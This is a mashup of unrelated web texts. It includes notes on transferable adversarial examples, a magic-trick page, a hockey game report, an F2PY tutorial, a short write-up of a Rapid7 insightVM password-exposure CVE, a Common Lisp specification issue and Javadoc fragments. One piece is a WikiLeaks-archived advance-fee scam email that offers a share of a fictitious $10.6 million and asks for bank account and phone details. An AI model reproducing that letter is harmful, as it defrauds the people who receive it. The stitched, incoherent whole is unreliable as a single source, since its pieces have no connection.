(TPGB17) The space of transferable adversarial examples
Posted: 2017-05-24 , Modified: 2017-05-24
Tags: neural nets, aaml
Posted: 2017-05-24 , Modified: 2017-05-24
Tags: neural nets, aaml
Recall that FGSM is \[ x^* = x + \ep \nv{\nb_x J(x,y)}. \]
Techniques:
For DNN, get 44 directions, 25 of which transfer. For CNN, get 15 directions, 2 of which transfer.
Adversarial training does not significantly displace decision boundary.
Define unit norm directions \[ d(f,x) := \fc{x'-x}{\ve{x'-x}} \] where \(x'\) is defined differently in 3 cases:
Define minimum distance \[ MD_d(f,x) = \amin_{\ep>0} f(x+\ep \cdot d) \ne f(x) \] and interboundary distance as \[ ID_d(f_1,f_2,x) = |MD_d(f_1,x) - MD_d (f_2,x)| \]
Transfer from
Defenses only prevent white-box attacks by reducing reliability of 1st order approximations (gradient masking).
This hypothesis is false: If 2 models achieve low error while exhibiting low robustness, then adversarial examples transfer between models.
Ex. Adversarial examples on MNIST don’t transfer between linear and quadratic models.
Model-agnostic perturbation: For a fixed feature mapping \(\phi\), define \(\de_\phi\) as difference in intra-class means, and the adversarial direction \(r_\phi\) for \((x,y)\), \[\begin{align} \de_\phi:&=\rc 2 (\E_{\mu_{+1}} [\phi(x)] - \E_{\mu_{-1}}[\phi(x)])\\ r_\phi:&= - \ep y \wh \de_\phi. \end{align}\]If \(f(x) = w^T\phi(x)+b\), and \(\De:=\wh w^T \wh\de_\phi\) is large, and \(\phi\) is “pseudo-linear” (\(\phi(x+r)-\phi(x)\approx r_\phi\)) then \(x+r\) transfers to \(f\).
TLDR: shift points in direction of difference of class means; this transfers well.
Can models with access to same set of input features learn representations that don’t transfer?
There’s a simple (but not very informative…) example where this works: MNIST with XOR artifacts trained on linear and quadratic.


The Man Who Invented Christmas
The Man Who Invented Christmas is a movie starring Dan Stevens, Mark Schrier, and Patrick Joseph Byrnes. The journey that led to Charles Dickens' creation of "A Christmas Carol," a timeless tale that would redefine Christmas.


If you haven't already, you should read through
the intro.
You can return here by going to
tannerkrewson.com/ptsu/secret
in your browser. Be warned: to keep this page secret, there's no
link to this page anywhere in PTSU Exposed!
So, you might be wondering how I was single-handedly able to uncover the biggest conspiracy in the history of mankind: that every smartphone contains a chip that allows the biggest tech companies in the world to sell advertisers to the ability to influence the masses to desire their brand over others.
...or, you might be wondering why I'm lying so much. 😂
You've probably figured out by this point that PTSU Exposed is not sending any psychoelectric mind waves from your phone. However, you probably haven't figured out how your friend is able to guess the brand that you enter out of the list every time, seemingly like magic. You may have thought to yourself, "...maybe the PTSU is real...?"
PTSU Exposed is nothing more than a magic trick, but there is a bit of a twist. Most magic tricks are only performed once because repeating them may reveal the trick or make it uninteresting. PTSU Exposed is different because it can be performed over and over, and there is no chance that the victim will figure out how you are able to guess the brand they entered every time without fail. They can keep trying over and over with different brands, but you'll always be able to read their mind. It's a great way to make your friends and family hate you!
Before I get into the trick, I'm going to run through how PTSU Exposed should be performed. If you like puzzles, you might want to try and figure out the trick for yourself. It's difficult, but not impossible. Here's a hint: ask yourself, "what distinguishes the user-entered brand from all of the other brands in the list?" You can read the How to Start section and the Some Notes; they don't spoil the trick.
Some notes: (No trick spoilers)
As your victim reads the words, imagine the first letter of each brand in uppercase. The first letter of the brand they typed in will have at least one curved line, and the other seven brands' first letters will have only straight lines, OR vice versa. If you're confused, here's an example.
Here's a few brands: Skittles, Peeps, Mentos, Oreos. The uppercase/capitalized first letters of these words are S, P, M, and O, respectively. Notice that all of the letters contain at least one curve... except for M. That means that Mentos would be the correct answer!
Here's another example: Post-it, Nesquik, Milky Way, Adidas. See if you can figure it out! Out of all of the capitalized first letters (P, N, M and A), the P is the only one with a curved line, so the answer is Post-it! Notice that the letter P does have a straight line, but it counts as curved because there are two possibilities: letters with one or more curved lines, OR letters no curved lines/all straight lines.
If the brand has more than one word, always pick the first word's first letter. For example, "Dr. Pepper"'s first letter is D, which has one curved line. "American Eagle"'s first letter is A, which is all straight.
Here's even more examples (These examples are only four brands, but PTSU Exposed will generate eight):
If you are still confused, here are the two possibilities, laid out as explicitly as possible:
Hopefully you're starting to get the hang of it. I love this trick because once you get the hang of it, it's super quick and easy! This trick is based on the Shuffle Games magic tricks from Master of Illusion for the Nintendo DS.
Now that you've got the trick down, go mess with your friends! Good luck!


{% extends "layout.html" %} {% block head %} {% include "includes/head.html" %} {% endblock %} {% block page_title %} Apprenticeships {% endblock %} {% block content %} {% include "includes/phase_banner_beta.html" %} {% include "includes/breadcrumbs/register-back.html" %} {% include "includes/account-name-number.html" %}Confirm date of change When do you want to make this change? Access to the service Today Before today Date Date the change took affect The earliest date you can enter is 01 09 2017 Day Month Year Cancel and return {% endblock %}
When do you want to make this change?
Cancel and return


Werenski’s OT goal lifts Blue Jackets over Blues 3-2
by CBJCOLUMBUS, Ohio (AP) — Zach Werenski scored 3:34 into overtime to give the Columbus Blue Jackets a 3-2 win over the St. Louis Blues on Friday night.
With the Blue Jackets on a 4-on-3 power play, Werenski buried a shot from the right circle. He has a goal in three straight games.
Pierre-Luc Dubois scored for Columbus early in the third period to tie it 2-all, set up by a pass from below the goal line by Emil Bemstrom.
Vladislav Gavrikov got his first NHL goal and Joonas Korpisalo made 25 saves for the Blue Jackets, who stopped a two-game slide.
Mackenzie McEachern and Brayden Schenn scored for the Stanley Cup champion Blues, who lost a second consecutive game in overtime. Jake Allen, starting ahead of Jordan Binnington on the first night of a back-to-back, had 36 saves.
Gavrikov scored on a tap-in off the stick of a Blues player 9:34 in. With 43 seconds left in the first period, McEachern squeezed in a wraparound between Korpisalo’s pad and the post to tie it.
Six seconds into a power play in the second period, Schenn got his team-leading 11th goal with a wide-open shot over Korpisalo’s glove.
The Blues have played 10 overtimes, tying them for second-most in NHL history through 20 games of a season.
NOTES: Columbus D Scott Harrington replaced Ryan Murray, who was injured against Montreal on Tuesday. … The Blue Jackets put forward Kole Sherwood on injured reserve and brought up forward Markus Hannikainen from Cleveland of the AHL. … David Perron, who assisted on Schenn’s goal, has 11 points in the past nine games. … Dubois has eight points in his last 11 games.
UP NEXT
Blues: Host the Anaheim Ducks on Saturday.
Blue Jackets: Host the Montreal Canadiens on Tuesday.


This text is displayed if your browser does not support HTML5 Canvas.
IoU:
Bbox manupluation sourced from
here


Fortran routines in python, an F2PY tutorial
I'm a fan of Python and of numpy, but when it comes to doing a lot of computations it has its shortcomings. I've heard a lot of good about cython and I plan to check it out real soon. However I'm currently working at porting a fortran program to python, so it makes a lot more sense to simply compile the computationally heavy part from the fortran code in a python module. F2PY does exactly this and I'm writing this post as a reminder on how it works.
Table of Contents
As an example we'll implement a simple function computing the cumulative sum of the elements in an integer vector. Let's call it vecSum.
First step: Fortran side
So, first of all, we will need a Fortran module. I'm no expert of Fortran, but a simple file with a collection of subroutines will do.
In our case we will create a file called vecSum.f90
containing something like this.
subroutine vecSum(inVec,n,outVec) ! compute the cululative sum of the elements in inVec, of length n, ! and saves it inside outVec integer :: n integer, dimension(n) :: inVec, outVec outVec=inVec do i=2,n outVec(i) = outVec(i-1) + inVec(i) enddo end
Remember that in Fortran we have to feed the subroutine the output vector and the dimension of the vectors we are using.
Second step: generate a signature file
Before actually compiling the file into a Python module, we will need to tell Python how to treat the input variables of the subroutine. In particular:
- in Python it is superflous to pass the dimension of the vector as an argument, since this information is stored with the vector itsel;
- we need to generate a Python function that returns a vector, in Python we do not have pointers and modifiyng the input is not what we should do.
So, we just execute the following command
f2py sumVec.f90 -m sumVec -h sumVec.pyf
This tells to F2PY
to read sumVec.f90 and generate a signature file sumVec.pyf which will contain the informations to build a Python module called sumVec.
If everything go smoothly we should end up with a sumVec.pyf file like the following.
! -*- f90 -*- ! Note: the context of this file is case sensitive. python module sumVec ! in interface ! in :sumVec subroutine vecsum(invec,n,outvec) ! in :sumVec:sumVec.f90 integer dimension(n) :: invec integer, optional,check(len(invec)>=n),depend(invec) :: n=len(invec) integer dimension(n),depend(n) :: outvec end subroutine vecsum end interface end python module sumVec ! This file was auto-generated with f2py (version:2). ! See http://cens.ioc.ee/projects/f2py2e/
As you see, it essentially contains the header of our subroutine and the variable declarations with some additional informations. These informations are quite self-explanatory, but anyway, one variable at a time, they are:
- inVec no modifications at all, this should be the main (and only) argument;
- n here we have
- optional
- this input will be converted in an optional parameter of the function;
- check(len(invec)>=n)
- if it is given, we'll check that the input vector is at least of length n;
- depend(invec)
- it is defined from invec
- n = len(invec)
- n will have default value equal to the length of invec
- outvec will be a vector of length n, and so it will depend on n.
As you can see, F2PY
correctly understands that n should be converted as an optional parameter, but it does not understand anything regarding the input and the output informations.
We will need to do that by hand, by adding the keywords intent(in)
to the input variables and intent(out)
to the output ones.
Once done, our signature file should look like this.
! -*- f90 -*- ! Note: the context of this file is case sensitive. python module sumVec ! in interface ! in :sumVec subroutine vecsum(invec,n,outvec) ! in :sumVec:sumVec.f90 integer dimension(n),intent(in) :: invec integer, optional,check(len(invec)>=n),depend(invec),intent(in) :: n=len(invec) integer dimension(n),depend(n),intent(out) :: outvec end subroutine vecsum end interface end python module sumVec ! This file was auto-generated with f2py (version:2). ! See http://cens.ioc.ee/projects/f2py2e/
Third step: the Python module
Finally, we are ready to compile the Python module. This is done through the command:
f2py -c sumVec.pyf sumVec.f90
This will generate (on OSX) a sumVec.so
file, that we can import (when running Python from its directory) as a Python module through
import sumVec
In ipython we immediately check that the function we obtained behaves correctly: It takes one vector as argument, has an additional argument n specifying the length of the (sub-)vector, and outputs the cumulative sums vector of length n.
In [2]: sumVec.vecsum? Type: fortran String Form:<fortran object> Docstring: outvec = vecsum(invec,[n]) Wrapper for ``vecsum``. Parameters ---------- invec : input rank-1 array('i') with bounds (n) Other Parameters ---------------- n : input int, optional Default: len(invec) Returns ------- outvec : rank-1 array('i') with bounds (n)
Running it on the vector (0,1,2,3,4) correctly yields
In [2]: sumVec.vecsum(np.arange(5)) Out[2]: array([ 0, 1, 3, 6, 10], dtype=int32)
Appendix: a smarter approach
If we can modify the Fortran code, we can avoid the second step of this tutorial.
Indeed, we can specify the intent
directives as special formatted comments like this.
subroutine vecSum(inVec,n,outVec) ! compute the cululative sum of the elements in inVec, of length n, ! and saves it inside outVec integer :: n integer, dimension(n) :: inVec, outVec !f2py intent(in) inVec !f2py intent(out) outVec !f2py intent(in) n outVec=inVec do i=2,n outVec(i) = outVec(i-1) + inVec(i) enddo end
This will automatically generate the correct signature file, and thus we can directly compile the Python module through
f2py -c -m sumVec sumVec.f90
It is worth to mention also the directive intent(hide)
which tries to hide the parameter.
For example, in the preceding, we could have used it to obtain a function without the optional argument n.


It's not just another TTS Demo!!!
Sorry, Your browser don't support TTS
Try with Google Chrome please


Full Stack Web Developer
Developer based out of Seattle
Front-end web developer leveraging telecommunications and networking background to build a more intuitive user experience on the web. Recently earned a certificate in Full Stack Development from the University of Washington with newly developed skills in JavaScript, CSS, React.js, and responsive web design.
Known as an innovative problem solver passionate about developing apps, with a focus on mobile-first design and development. Offering diverse business and technical experience facilitating a broad range of company and customer initiatives: combines strong planning, organizational and communications skills with the ability to ensure smooth flow of daily operations within a fast-paced and changing environment. Looking to facilitate a team work environment to increase productivity and enhance employee morale while utilizing my strong skill set.
A selection of my range of work
Click the picture to get detailed information


--- creation_epoch:<PHONE_NUMBER> lastmod_epoch:<PHONE_NUMBER> categories: ['Security'] title: CVE-2019-5615 Rapid7 insightVM (Nexpose) clear text password exposure --- Back in January Rapid7 released a product update (6.5.50) to address a vulnerablity in their product where non-privileged users (ability to access their sites and reports, but not global admins) could download a copy of password hashes for global admins.
I was not the one to report this or find this, but I did confirm the vulnerablity in the scan data zip download. The original release notes only mentioned "username-encrypted passwords" were disclosed.
While reviewing I also noticed that the creds.kspw file was also being included. This file includes the clear-text password that is used when restoring a backup as well as for the Java keystore used internally by the product. The release notes did not mention this password leakage.
I contacted the vendor and asked for a way to change the keystore password. There is no official web UI or command-line tool, but the vendor support did provide a hidden web UI feature that was successful in changing this password. For all previous backup files the old password could not be changed so I recommend gpg encrypting those. For new ones going forward the new password is applied. Old backup files still require the old password of course.
I sent a note to the vulnerability reporting team at Rapid7, and they got the release notes updated to include that the clear-text password was also exposed. An attacker would need the password and an old backup file to obtain sensitive information.
The new release notes text as of March 11, 2019:
We fixed CVE-2019-5615, which allowed users with Site-level permissions to access files containing the username-encrypted passwords of Security Console Global Administrators and clear-text passwords for restoring backups, as well as the salt for those passwords. Valid credentials were required to access these files and malicious users would still have needed to perform additional work to decrypt the credentials and escalate their privileges. This issue affects Security Console versions 6.5.11 through 6.5.49. If your Security Console currently falls on or within this affected version range, ensure that you update your Security Console to the latest version.
https://help.rapid7.com/insightvm/en-us/release-notes/


Adobe Reader is not properly installed on your system. Any feature which attempts to display .pdf content will fail unless the Adobe Reader feature is properly installed.
Please either install or re-install the most up-to-date version of Adobe Reader in order to view .pdf content.


World Cup soccer teams' data
We are reading a CSV file from a server with the following data
| team |
region |
win |
loss |
draw |
points |
gf |
ga |
cs |
yc |
rc |
FIELD12 |
FIELD13 |
| Germany |
UEFA |
7 |
6 |
0 |
1 |
19 |
18 |
4 |
14 |
4 |
6 |
0 |
| Argentina |
CONMEBOL |
7 |
5 |
1 |
1 |
16 |
8 |
4 |
4 |
4 |
8 |
0 |
| Netherlands |
UEFA |
7 |
5 |
0 |
2 |
17 |
15 |
4 |
11 |
4 |
11 |
0 |
| Belgium |
UEFA |
5 |
4 |
1 |
0 |
12 |
6 |
3 |
3 |
2 |
7 |
1 |
| Colombia |
CONMEBOL |
5 |
4 |
1 |
0 |
12 |
12 |
4 |
8 |
2 |
5 |
0 |
| Brazil |
CONMEBOL |
7 |
3 |
2 |
2 |
11 |
11 |
14 |
0 |
1 |
14 |
0 |
| Japan |
AFC |
3 |
0 |
2 |
1 |
1 |
2 |
6 |
0 |
1 |
4 |
0 |
| United States |
CONCACAF |
4 |
1 |
2 |
1 |
4 |
5 |
6 |
0 |
0 |
4 |
0 |


If you add category & subcategory section, your smarticker will be like this, Rss Feed used in these examples, please note that Rss fetching maybe not work locally on your PC:
If you set data-color on news items, colors will animate and your smarticker will turn to rainbow:


Denise Welch (born 1958-05-22[ref]) has appeared in 536 episodes between 2000-2013. Denise Welch on IMDB. Denise Welch on Wikipedia.


@FunctionalInterface
public interface ExchangeFilterFunction
| 限定符和类型 | 方法和说明 |
|---|---|
default ExchangeFilterFunction |
andThen(ExchangeFilterFunction afterFilter)
Return a composed filter function that first applies this filter, and
then applies the given
"after" filter. |
default ExchangeFunction |
apply(ExchangeFunction exchange)
Apply this filter to the given ExchangeFunction, resulting
in a filtered exchange function.
|
reactor.core.publisher.Mono<ClientResponse> |
filter(ClientRequest request,
ExchangeFunction next)
Apply this filter to the given request and exchange function.
|
static ExchangeFilterFunction |
ofRequestProcessor(java.util.function.Function<ClientRequest,reactor.core.publisher.Mono<ClientRequest>> processor)
Adapt the given request processor function to a filter function that only
operates on the
ClientRequest . |
static ExchangeFilterFunction |
ofResponseProcessor(java.util.function.Function<ClientResponse,reactor.core.publisher.Mono<ClientResponse>> processor)
Adapt the given response processor function to a filter function that
only operates on the
ClientResponse . |
reactor.core.publisher.Mono<ClientResponse> filter(ClientRequest request, ExchangeFunction next)
The given ExchangeFunction represents the next entity in the chain, to be invoked via invoked in order to proceed with the exchange, or not invoked to shortcut the chain.
request
- the current requestnext
- the next exchange function in the chaindefault ExchangeFilterFunction andThen(ExchangeFilterFunction afterFilter)
"after"
filter.afterFilter
- the filter to apply after this filterdefault ExchangeFunction apply(ExchangeFunction exchange)
exchange
- the exchange function to filterstatic ExchangeFilterFunction ofRequestProcessor(java.util.function.Function<ClientRequest,reactor.core.publisher.Mono<ClientRequest>> processor)
ClientRequest
.processor
- the request processorstatic ExchangeFilterFunction ofResponseProcessor(java.util.function.Function<ClientResponse,reactor.core.publisher.Mono<ClientResponse>> processor)
ClientResponse
.processor
- the response processor


search song Album
phir le aya dil
Arjit Singh
Feature songs
Money 3:15
Cardi B
Leave Me Alone 3:15
Flipp Dinero
I Like Me Better 3:15
Lauv
Close Friends 3:15
Lil Baby
You Say 3:15
Lauren Diagle
Recently Played
| Title | Artist | Album | Time | |
|---|---|---|---|---|
| Got The Best | Luke Combs | Drake | 3:15 | |
| Loose It | Kane Brown | Today Night | 4:56 | |
| Bloo'd Up | Ella Mal | Red Blood | 4:0 | |
| Phir le Aya | Arjit Singh | Ashikiq | 5:23 | |
| Damadam | Runna Laila | Dam-Dam | 5:56 |


Man arrested for allegedly assaulting man and spitting at police
by Jocelyn GarciaA man has been charged after allegedly putting another man in hospital with serious injuries, and for spitting at and kicking police south of Brisbane.
Police were called to a violent fight between two men, who are known to each other, about 4.30pm on Saturday at a Turner Court address at Marsden in Logan.
A 30-year-old Boyne Island man was taken to Princess Alexandra Hospital with serious facial and head injuries. He remains in a serious condition.
Police arrested a 32-year-old Marsden man at the scene, with police alleging he spat and kicked out at officers.
He was charged with one count of grievous bodily harm, assault occasioning bodily harm, seriously assaulting police, and obstructing police.
He was denied police bail and is due to appear in the Beenleigh Magistrates Court on Monday.


WikiLeaks: FARC-EP<EMAIL_ADDRESS>mail archive
This message is part of a particular mailbox provided at WikiLeaks
and it should be discussed here.

- From: "douba ahmed "<EMAIL_ADDRESS>- Date: Thu, 28 Feb 2008 19:44:08 +0100
- Authentication-results: mta516.mail.mud.yahoo.com from=mixmail.com; domainkeys=neutral (no sig)
- Reply-to<EMAIL_ADDRESS>- Xmailer: Mixmail Server 3.0
FROM MR. DOUBA AHMED,
BILL AND EXCHANGE MANAGER,
AFRICAN DEVELOPMENT BANK
OUAGADOUGOU,
BURKINA FASO.
Greetings and compliments of the season,
I am making this proposal to you based on my conviction that you will be capable of championing this business cause.
I AM (DOUBA AHMED)from burkina-faso in west africa I am 49 YAERS OF AGE. In my department we discovered an abandoned sum of $10.6m US dollars (Ten Million Six hundred Thousand US Dollars) in an account that belongs to one of our foreign customer,
late Mr. Abdul Rehman Afzal an Afghani who died along with his entire family in an American bomb attack on the city of Kandahar, Afghanistan in the year 2003.
Since we got information about his death, we have been expecting his next of kin to come over and claim his money because we cannot release it unless somebody applies for it as next of kin,
business partner or relation to the deceased as indicated in our banking guidelines but unfortunately I learnt that all his supposed next of kin or relation died alongside with him during the bomb attack leaving nobody behind for the claim.
It is therefore upon this discovery that I now decided to make this business proposal to you and release the money to you as the next of kin or relation to the deceased for safety and subsequent disbursement since nobody is coming for it and I don't want this money to go into the bank treasury as unclaimed bill.
The Banking law and guideline here stipulates that if such money remained unclaimed after five years, the money will be transfered into the bank treasury account as unclaimed fund.
The request of foreigner as next of kin in this business is occasioned by the fact that the customer was a foreigner and a Burkinabe cannot stand as next of kin to a foreigner.
I wish to inform you that 40% of this money will be for you as foreign partner, in respect to the provision of a foreign account, while the remaining 60% would be for me.
Thereafter I will visit your country for disbursement accoding to the percentages indicated. Therefore to enable the immediate transfer of this fund to you as arranged, you must apply first to the bank as relation, business partner or next of kin of the deceased indicating your bank name, your bank account number,
your private telephone and fax number for easy and effective communication and location where in the money will be remitted.
Upon receipt of your reply, I will send to you by fax or email the text of the application. I will not fail to bring to your notice that this transaction is hitch free and that you should not entertain any atom of fear as all required arrangements have been made for the transfer.
You should contact me immediately as soon as you receive this mail.
Trusting to hear from you immediately.
Yours faithfully,
DOUBA AHMED
Ya.com ADSL 24h + Llamadas Nacionales y Locales 24h - desde 9,95 ?/mes+IVA.
Entry for this page on WikiLeaks |
Discussion page on WikiLeaks |
wikileaks.org
Main Index |
Thread Index |
Author Index


Health: High
Damage: Low
Skill: Hand life
Health: Low
Damage: High
Skill: Death Curse
Health: Low
Damage: High
Skill: Backslap
Load your last save
Start new game
Attention if you start a new game you will erase everything
Your hero name must begin with a upper letter "A".
You can't have spaces in your hero name.
Wonderfull name hero.
Health: Low
Damage: High
Skill: Backslap
Health: High
Damage: Low
Skill: Hand Life
Health: low
Damage: High
Skill: Death Curse
  Knights get in fights always with a sword and a shield.
Knights fights takes long time but much safer then anothers.
They can block oponents hits.
  Demons always get in fights with axes.
Demons fights takes short time but they are risky.
They can do doble damage.
  Assasins get in fights always with two swords.
Assasins fights takes normal time and not very risy.
They can dodge oponents hits.
Smoky Knools
Underground Instance
Shop
Chief Tornog
Settlement of chernang
Clan Burial
Fort Dybrach
George of Chernag
Squire of Fire
Place of Sorrow
Dartong City


Listing Tests
You can easily list all available tests
$ toolset/run-tests.py --list-tests
activeweb
activeweb-raw
aspnet
aspnet-jsonnet
aspnet-mongodb-raw
aspnet-mono
aspnet-mono-jsonnet
aspnet-mono-mongodb-raw
<snip>
Running Tests
There are a number of options that can be specified:
# Run a verification for test beego
$ toolset/run-tests.py --test beego --mode verify
# Run the default benchmark for the beego test
$ toolset/run-tests.py --test beego
# Specify which test types are run during benchmark
$ toolset/run-tests.py --test beego --type json
$ toolset/run-tests.py --test beego --type db
$ toolset/run-tests.py --test beego --type fortune
# Specify a number of options for how the load is generated
$ toolset/run-tests.py --test beego --max-concurrency 24 --max-threads 24 --duration 20 --max-queries 200
# Run a tiny benchmark
$ toolset/run-tests.py --test beego --max-threads 2 --max-concurrency 2
Finding output logs
Logs file locations use the format results/ec2/latest/logs/wt/err.txt
.
The general structure is results/<run name>/<timestamp>/logs/<test name>/<file>
You can use the --name
flag to change the <run name>
If you re-run the same test multiple times, you will get a different folder
for each <timestamp>
, although the latest
folder will be kept up to date.
The <test name>
is simply the name of the test type you ran, and <file>
is either out.txt
or err.txt
(these are the logout
and logerr
arguments passed into each
setup.py
file.
Note: If you're looking for logs from our official benchmark rounds, see Round 9 and Round 8


GEO_INTERSECTS(geoJsonA, geoJsonB) → bool
Checks whether the
GeoJSON object
geoJsonA
intersects with geoJsonB
(At least one point in B is also A or vice-versa).
This function can be optimized via a S2 based geospatial index, please look at the
relevant manual section for more information.


Status: passed, Jun 89 X3J13
Forum: Cleanup
Issue: TYPE-OF-UNDERCONSTRAINED
References: TYPE-OF (CLtL)
88-002R (Class-of)
88-005, p 43f, Condition system types
Related issues: SUBTYPEP-TOO-VAGUE
DATA-TYPE-HIERARCHY-UNDERSPECIFIED
ARRAY-TYPE-ELEMENT-TYPE-SEMANTICS
COERCE-INCOMPLETE
Category: CLARIFICATION/CHANGE
Edit history: Version 1, 1-Dec-88, Masinter
Version 2, 9-Dec-88, Masinter
Version 3, 12-Dec-88, Masinter (fix "egregious bug")
Version 4, 3-14-89 Steele
Version 5, 16-Mar-89, Masinter (add other amendments)
Version 6, 22-Jun-89, Masinter (fix as per Moon)
Problem description:
The specification of TYPE-OF in CLtL is so weak as to leave it
nearly useless, if any implementor actually took the specification
seriously.In particular, there are almost no constraints on the
value that TYPE-OF might return for any of the built in
types. The only constraint placed is that for objects created by the
constructor function of DEFSTRUCT, the result of TYPE-OF is the name of the
This means that implementations could return T for all other objects.
Proposal (TYPE-OF-UNDERCONSTRAINED:ADD-CONSTRAINTS):
Specify that the result of TYPE-OF satisfies the following:
(a) For any object for which (typep object built-in-type) is true when
built-in-type is one of
INTEGER, RATIO, FLOAT, COMPLEX, NUMBER, NULL, SYMBOL,
STRING, BIT-VECTOR, VECTOR, ARRAY, RANDOM-STATE, SEQUENCE,CONS,
STREAM, PACKAGE, CHARACTER, FUNCTION, READTABLE, HASH-TABLE, PATHNAME,
RATIONAL, SHORT-FLOAT, LONG-FLOAT, SINGLE-FLOAT, DOUBLE-FLOAT
the result of TYPE-OF will be a type specifier for which
(subtypep (type-of object) built-in-type) returns T T, i.e., either the
build-in-type or a subtype of it (a subtype that the
implementation's SUBTYPEP can recognize.)
(b) For all objects, (TYPEP object (TYPE-OF object)) will be true.
(this implies that it will not be NIL, since no
(c) will not be T, or use SATISFIES, AND, OR, NOT or VALUES.
(d) The type returned by TYPE-OF is always a subtype of the class
returned by CLASS-OF, and is a subtype that the implementation's
SUBTYPEP can recognize.
(e) For objects of metaclass STRUCTURE-CLASS or STANDARD-CLASS,
TYPE-OF returns the proper name of the class returned by CLASS-OF
if it has a proper name, and otherwise returns the class itself.
In particular, for objects created by the "constructor" function
of a structure defined with DEFSTRUCT without a :TYPE option,
TYPE-OF will return the structure name.
This proposal is intended to be consistent with 88-002R,
and not to conflict with any of the definitions in that document.
Examples:
It is legal for (TYPE-OF "abc") to return (SIMPLE-STRING 3), or just
STRING. It is legal for (TYPE-OF 112312) to return SI:MEDIUM-SIZE-FIXNUM,
as long as (SUBTYPEP 'SI:MEDIUM-SIZE-FIXNUM 'INTEGER).
Given:
(defvar *foo* (make-array 5 :element-type t))
(class-name (class-of *foo*)) => SIMPLE-VECTOR
It is legal for
(type-of *foo*) => (SIMPLE-VECTOR 5)
Rationale:
The original specification for "TYPE-OF" was written to allow
implementation freedom, but the wording is in fact more vague than was
intended.
Current practice:
Most Common Lisp implementations seem to implement the proposal, at least
for the types we've tried them on.
Cost to Implementors:
Even if there are implementations that do not currently implement the
proposal, the required changes for them are likely to be minimal.
Cost to Users:
Apparently none.
Cost of non-adoption:
TYPE-OF would remain potentially inconsistent.
Performance impact:
Likely none.
Benefits:
Bring the specification of TYPE-OF in like with its common
implementation, while requiring it to be generally useful.
Esthetics:
Little effect.
Discussion:
Originally, TYPE-OF was concieved as being useful for information display.
CLOS specified CLASS-OF far more precisely, in that it must return exactly
the class of an object. Unless TYPE-OF is removed from the language, it
seems reasonable to require it to be at least as precise as CLASS-OF.
The accepted CLOS specification does not define CLASS-OF
in terms of TYPE-OF, but an earlier draft did.
This proposal presumes the (passed) proposals
DATA-TYPES-HIERARCHY-UNDERSPECIFIED:DISJOINT, FUNCTION-TYPE, and
accomodates the Condition System (version 18) and CLOS.
If ARRAY-TYPE-ELEMENT-TYPE-SEMANTICS does not pass,
and this proposal does pass, it may be that the only way an
implementation can satisfy (TYPEP array (TYPE-OF array))
would be to have (TYPE-OF array) return VECTOR or ARRAY
as appropriate, i.e., with no element type qualification.
It is possible to constrain TYPE-OF further, e.g., to eliminate
the possibility that it might return a non-portable
implementation-specific value. For example,
(TYPE-OF 112312) should not return SI:MEDIUM-SIZE-FIXNUM, but rather some
thing like (SIGNED-BYTE 17) [if that's what SI:MEDIUM-SIZE-FIXNUM means.]
We would like to make this as an implementation recommendation,
however, rather than as a constraint, at this point.
About part (c): the restriction on T is meaningless, since the CLASS-OF
restriction dominates it. The restriction on MEMBER is OK, just to keep
TYPE-OF from being the silly definition that (type-of x) = `(member ,x). I
think we're running out of good reasons to leave out SATISFIES, AND, OR,
NOT, and VALUES; they're probably no more useful, but we're probably
overspecifying for no good reason.
Some types are left out of the list in (a), including:
BIGNUM and FIXNUM were left out because their division was implementation
dependent.
KEYWORD was left out because under odd circumstances it is possible to
dynamically change the 'type' (e.g., by UNINTERN).
STANDARD-CHAR and STRING-CHAR were left out for the same reasons they
aren't built-in classes.
(These reasonas are not 100% compelling.)


home
AboutMe
Services
Portfolio
Hireme
Hello, I'm
Caleb Tony-Enwin
.UI/UX Design
ReadMore
Art
ReadMore
Music
ReadMore
About
ReadMore


William Shakespeare
His life
William Shakespeare, also known as The Bard of Avon was, arguably, the most famous playwright in the world. He was also a prolific poetry and sonnet writer. His works consist of at least 39 plays, 154 sonnets, and two narrative poems.
The early years
Shakespeare was born in 1564 in the English town of Stratford-upon-Avon, 90 miles from London. He was the third of eight children born to John and Mary Shakespeare. John Shakespeare was a well-to-do glover and leather-worker and later entered into local politics, eventually becoming mayor of Stratford in 1568.
Shakespeare was educated at the King's New School in Stratford. In 1582 at the age of 18 he married Anne Hathaway and they had 3 children. A decade later Shakespeare was already a part of the theater scene in London as an actor. In 1594 Shakespeare joined the The Lord Chamberlain's Men performing for both commoners and royalty. Shakespeare eventually focused his talents to writing plays for The Lord Chamberlain's Men to perform.
Playwright and poet
Written between the years of 1589–1614, Shakespeare's plays spanned tragedies, comedys, and historical works. Most of his plays were written during the Elizabethan and Jacobean eras and staged at the Globe Theatre and Blackfriars Theatre.
Besides his plays, Shakespeare also wrote over 155 poems and sonnets. Most of his sonnets were written for private eyes (though later collected into an anthology near the end of his life). But during the plague of 1593-1594 Shakespeare wrote and published two long narritive poems which allowed him to put food on the table while the London theaters were closed down.


Add Cc/Bcc fields: When in Compose field, tap Context button, locate Cc/Bcc choice; then press Enter. You can now press your Previous thumb key several times to locate your Cc and Bcc fields. After filling them in, press the Next thumb key several times to return to the Compose field; then press Backspace+S to send the Email.
in-context


|
|||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object edu.uci.isr.yancees.server.AdministrationFacade edu.uci.isr.yancees.server.SubscriptionFacade
This is the sever-side subscriber fašade for publishing and subscribing. It performs all necessary operations with both notification and subscripton managers. It also invokes the appropriate output filters if they are installed This class stays behind the YanceesServer class
| Nested Class Summary | |
class |
SubscriptionFacade.SubscriberMediator
The subscriber mediator receives notifications from the plug-ins and forward them to their specific subscribers. |
| Field Summary | |
protected boolean |
filtersInstalled
|
| Method Summary | |
protected static SubscriptionFacade |
getInstance()
|
protected void |
installOutputFilters(FilterManagerInterface filterMan)
Installs the inputqueue managed by filterManager in this API |
protected void |
setNotificationManger(NotificationManager nm)
Used by the Yancees Server API |
protected void |
setSubscriptionManager(SubscriptionManager sm)
Used by the Yancees API |
void |
subscribe(MessageInterface msg,
SubscriberInterface si)
look for the |
void |
unsubscribe(SubscriberInterface si)
Removes all the subscriptions associated to the provided subscriber |
void |
unsubscribe(SubscriberInterface si,
MessageInterface sub)
Removes all the subscriptions associated to the provided subscriber |
| Methods inherited from class edu.uci.isr.yancees.server.AdministrationFacade |
resumeYancees, shutdownYancess, suspendYancees |
| Methods inherited from class java.lang.Object |
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Field Detail |
protected boolean filtersInstalled
